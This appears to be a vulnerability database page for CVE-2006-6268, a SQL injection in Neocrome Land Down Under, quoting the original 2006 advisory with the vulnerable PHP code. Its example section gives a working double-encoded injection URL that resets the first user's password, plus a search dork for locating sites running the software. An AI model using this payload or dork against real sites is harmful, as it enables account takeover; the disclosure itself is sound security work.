https://www.securityfocus.com/bid/82210
https://cxsecurity.com/issue/WLB-2006120026
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-031
Neocrome Land Down Under 'Profile.Inc.PHP' SQL注入漏洞






漏洞ID | 1192678 | 漏洞类型 | SQL注入 |
发布时间 | 2006-12-04 | 更新时间 | 2006-12-04 |
![]() |
CVE-2006-6268 | ![]() |
CNNVD-200612-031 |
漏洞平台 | N/A | CVSS评分 | 10.0 |
|漏洞来源
|漏洞详情
NeocromeLandDownUnder(LDU)中的system/core/profile/profile.inc.php存在SQL注入漏洞,远程认证用户可以通过一个传给users.php的以有效文件名开始的url编码id参数来执行任意SQL命令,如通过在"default.gif"之后跟随一个双编码NULL和'(单引号)(%2500%2527)。
|漏洞EXP
--Security Report--
Advisory: LDU <= 8.x Remote SQL Injection Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/10/06 09:44 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
---
Vendor: Neocrome (http://www.neocrome.net)
Version: 8.x also prior versions must be affected.
About: Via this methods remote attacker can manipulate SQL query and
change everything in LDU's user database.Vulnerable code can be found
in profile.inc.php at lines 142-150
-Source in system/core/profile/profile.inc.php-
142: case 'avatarselect':
143: /* ============= */
144:
145: ldu_check_xg();
146: $avatar = $cfg['av_dir'].urldecode($id);
147: if (file_exists($avatar))
148: { $sql = ldu_query("UPDATE $db_users SET user_avatar='$avatar'
WHERE user_id='".$usr['id']."'"); }
149:
150: break;
-End of source-
As you can see "id" parameter did not sanitized properly and used with
urldecode() function which decodes id's value so remote attacker can
bypass magic_quotes_gpc and other functions which escapes ' strings.In
avatarselect LDU checks files available with file_exists function and
urldecode help us by using null byte.
A demostration exploitation will be given in How&Example part.
Level: Highly Critical
---
How&Example:
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=def
ault.gif[SQL
Inject]
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=def
ault.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2
527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to
123456
The XVALUE comes with your avatarselect link it's special to everyuser in LDU.
For using this vulnerability you must be logged in to LDU...
Timeline:
* 21/10/2006: Vulnerability found.
* 21/10/2006: Contacted with vendor and waiting reply.
---
Original advisory: http://www.nukedx.com/?viewdoc=51
---
Exploit:
http://www.nukedx.com/?getxpl=51
---
Dorks: "Powered by LDU"
|受影响的产品
Neocrome Land Down Under 8.0
|参考资料
来源:BID
名称:21227
链接:http://www.securityfocus.com/bid/21227
来源:BUGTRAQ
名称:20061122Advisory:LDU<=8.xRemoteSQLInjectionVulnerability.
链接:http://www.securityfocus.com/archive/1/archive/1/452259/100/100/threaded
来源:MISC
链接:http://www.nukedx.com/?viewdoc=51
来源:SREASON
名称:1954
链接:http://securityreason.com/securityalert/1954
检索漏洞
开始时间
结束时间